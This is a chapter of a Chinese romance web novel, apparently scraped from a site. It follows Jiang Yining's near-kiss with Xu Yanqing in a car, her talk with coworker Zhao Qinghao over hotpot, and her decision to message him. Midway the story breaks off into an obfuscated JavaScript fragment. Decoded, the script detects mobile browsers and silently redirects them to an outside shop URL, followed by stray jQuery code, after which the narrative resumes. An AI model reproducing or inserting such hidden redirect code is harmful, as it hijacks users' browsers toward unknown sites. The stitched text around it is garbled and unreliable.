江以宁抿抿唇,跟上徐晏清的步伐。
快到酒吧门口,徐晏清撑起她的羽绒服,示意她穿上衣服再出去。
江以宁太阳穴突突跳了两下,总觉得今晚的他不太正常,有种在界限边缘来回试探的感觉,甚至隐隐有向她逼近的趋势。
穿好衣服,走出酒吧,临近圣诞节,酒吧为了迎合气氛,门口摆了一个巨大的圣诞树。
江以宁恍然,去年圣诞节,她和李暄还一起窝在家里吃火锅,今年就只剩下她一个人了。
车内暖气足,羽绒服又被她脱下放在腿上,江以宁头倚靠在车窗上,看着车窗外逐渐后退的街景。
徐晏清声音响起:“在想你朋友吗?”
江以宁仍维持靠向车窗的姿势,只是转头看向徐晏清,语气带着点丧气问:“怎么我在徐总这是透明的吗?连我在想什么您都知道,不知道的还以为您是我肚子里的……”
说到最后,又觉得用这个词形容人不太好,她紧急刹车。
徐晏清低低嗯了一声:“你脸上的表情太好懂了,喜怒哀乐都写在眼里。”
他双腿自然交叠,身形放松地倚靠着座椅,一只手拄着下巴,看着姿态很是闲散,外面昏黄的灯光偶尔打在他的脸上,金色边眼睛间或泛起幽光。
说话时薄唇一张一合,带着喉结滚动,江以宁视线停了两秒,脑子里小人逮着自己脸狠狠扇了一下。
她移开视线:“说来,李暄和顾时桉能结婚,也拜徐总好心所赐。”
见她刻意板着脸,视线游移不敢看他,徐晏清眼眸幽深几分,他抬手在旁边轻按,中间隔挡缓缓升起。
江以宁本就心虚,被这动静吓得一个激灵,她瞳孔微缩,看向徐晏清。
“毕竟是顾家的家事,越少人知道越好。”徐晏清解释完,才回她刚才的话:“缘分来了是挡不住的,要结婚的两人总会结婚的,只是时间早晚而已。”
他说着,身体前倾,两人距离骤然拉近,尤其是他的视线还紧紧锁在她身上。
江以宁咽了咽口水,只觉得今晚的徐晏清好像春天的孔雀,但更不对劲的是她。
视线总是忍不住落在他的喉结,李暄让她尝尝男人的建议更是疯狂往她脑子里钻,牙齿渐渐泛起痒意。
她觉得是因为今晚喝了酒的缘故,酒意上头,不只影响了她的思考,甚至还鼓动她做点别的尝试。
脑子里的两个小人开始打架,一个说:“可以尝试一下,尝试一下没关系的。”
另一个小人:“不行,这个男人很危险。”
看着两人距离越来越近,江以宁脑中的小人没有分出胜负。
她没有躲,眼睫垂下,轻声道:“徐晏清,这件事就是怨你。”
她最后喝的那杯酒是葡萄味的,因此说话时也带着些葡萄果香。
“既然怨我,那你想让我怎么做?”
声音近在耳边,男人说话时喷出的气息喷洒在脸上,鼻尖充斥着清冽的檀香味,比以往任何一次都要浓烈。
两人鼻尖相对,就在江以宁脑中说“可以尝试一下,没关系的”小人即将胜利时,她倏忽攥紧掌心,猛地侧过头。
红唇擦过徐晏清的侧脸,江以宁呼吸微顿,反应过来后胸口剧烈起伏。
男人低笑一声,身子向后,两人仍然保持着暧昧的距离。
“江以宁,你对我有感觉。”
他说得很笃定,经历过刚才的事情,江以宁也不想反驳。
江以宁转回脸,直视他:“只是有点感觉而已。”
两人目光相视,徐晏清勾起唇角:“不好意思,我对江小姐,很有感觉。”
听他说很有感觉,江以宁握紧掌心,努力压抑着胸腔内疯狂跳动的心脏,疑惑道:“我们两个人并不了解,认识时间也并不长,这么短的时间,怎么就能确定是喜欢?”
这也是她一直以来的疑问。
徐晏清反问:“那你为什么会对我有点感觉。”
江以宁被这个问得脑子懵了一瞬,一时间还真没有想到她为什么会对徐晏清有感觉。
她迟疑:“有感觉就是有感觉,还需要理由吗?”
“当然不需要。”徐晏清眉梢微动:“这也是我的答案,喜欢也是没有理由的,如果我能准确地说出为什么喜欢,那还是真的喜欢吗?”
“如果喜欢有标准,当别人也恰好有这些特质时,那是不是也会移情到其他人身上。”
江以宁:“……”
说得很有道理,她无法反驳,于是她选择逃避。
——
第二天,江以宁拎着一杯咖啡,顶着浓重的黑眼圈去了公司,坐到工位,打了一个哈欠,拿着离职申请去找老刘。
“别去了,老刘还没回来。”赵晴好拦住她。
见她一个哈欠接着一个哈欠,她问:“你昨晚做贼去了,黑眼圈那么重。”
江以宁有气无力地摆摆手,喝了两口咖啡:“昨晚失眠,凌晨四点多才睡着。”
赵晴好看着电脑上的合同,随口问:“咋地,为了爱情的事失眠了?”
江以宁沉默,还真是。
她昨晚一直思考徐晏清说的,所有的事都挑明,总觉得再见面也挺尴尬的。
但是想到以后再也不见这个人,江以宁心里又升腾起一股烦躁。
当这个想法出现的时候,她都恨不得逮着自己猛抽两巴掌,犹犹豫豫,拖拖拉拉,这和吊着人有什么区别,渣女!
然而一想到拒绝,她又烦,进一步发展,她更没信心。
闭上眼就是徐晏清笑得像狐狸的样子,还有说话时滚动的喉结,两人在车上,她嘴唇擦过他脸颊的感觉。
睁开眼又是他在车上说的那些话。
像是陷入死循环,直到凌晨四点,活跃的脑子终于累了,这才睡了过去。
赵晴好半天没有听见旁边人说话,转头一看,见她正目无焦距地盯着电脑屏幕。
她惊讶:“你这是真的有情况?”
江以宁幽幽地看了她一眼:“咱俩上班摸鱼说话不能这么猖狂,不是什么光彩的事情,所以,小点声。”
赵晴好胡乱点点头,压低声音:“快说,是不是有人和你表白?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724056|208214||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>江以宁嘴唇张了张,最终憋出几个字:“等晚上吃火锅的时候说,有氛围,现在说不出来。”
对此,赵晴好“切”了一声,给了她一个白眼又忙工作去了。
说话说一半的人最讨厌!
晚上,同一家某捞火锅店,赵晴好听江以宁委婉地叙述完,当然她没有说对方的身份。
赵晴好盯着锅里的肉,说她:“你这就是庸人自扰,你还没有和他在一起,就考虑以后的事情了?”
“谁说谈恋爱就一定要结婚了?万一两人性格不合适怎么办?”
江以宁戳开容易爆汁的丸子:“可是谈恋爱最后不结婚,分手后又有了新人,不是很容易控制不住拿新人和旧人做对比,万一觉得新人不如旧人好怎么办?”
“你想得可真多。”赵晴好送她一个大大的白眼:“分手肯定是有不可调和的矛盾,要么就是感情耗尽平淡了,要么就是对方出轨。”
说着,赵晴好看她一眼:“怎么,你有在垃圾站回收垃圾的习惯?”
江以宁摇头,喝了一口酸梅汤,科技与狠活的味道充斥口腔,她开心地眯了眯眼。
她爱科技与狠活。
江以宁想了想:“那万一感情一直没有问题,对方也没有出轨怎么办,顺其自然结婚吗?万一家里不同意怎么办?”
她一连两个怎么办,听得赵晴好额角青筋蹦了蹦:“妹妹,你想这么多都是没用的。”
“关键你俩现在还没在一起,空想未来只是内耗自己,走一步看一步呗,万一到时候困难就解了那,大胆一点,不要被未发生的事困住当下的你。”
“而且,不想结婚你就分手呗,你就当个玩弄感情的渣女,伤害别人总比被别人伤害强。”
“到时候,你要是觉得新人比不上旧人,你再回头去哄哄被你抛弃的旧人,说不准旧人就回头了。”
江以宁听得有些意动,当然,只有一点点。
赵晴好见此,继续劝道:“而且,年轻时一定要多谈几段恋爱,那样你才知道什么样的男人适合你,只谈一段恋爱就结婚,想想总觉得有些亏。”
江以宁嚼着虾滑,若有所思。
咽下口中的食物,她好奇地问:“晴好姐姐谈过几个男朋友?感觉你分析感情的事,很有经验。”
赵晴好轻咳一声,略有些不好意思道:“只高中时喜欢暗恋过一个男生,还没谈过。”
江以宁:“……”
——
晚上江以宁躺在床上,抱着被子在床上翻滚,精神很疲惫,但是脑子又异常活跃。
赵晴好和李暄都建议她应该多谈几段恋爱。
她揪着被子上的绒毛,脑子不禁想起一个辩题,是得到以后再分开遗憾,还是从没有得到过遗憾。
还有都说得到是最好的祛魅方式。
两个人在一起,又不是一定会走到以后。
不要被未来的事困住当下的自己。
重在体验,重在享受,当个渣女其实也没什么吧。
这么想着,江以宁拿过手机,找到徐晏清的微信,手指在上面戳戳点点。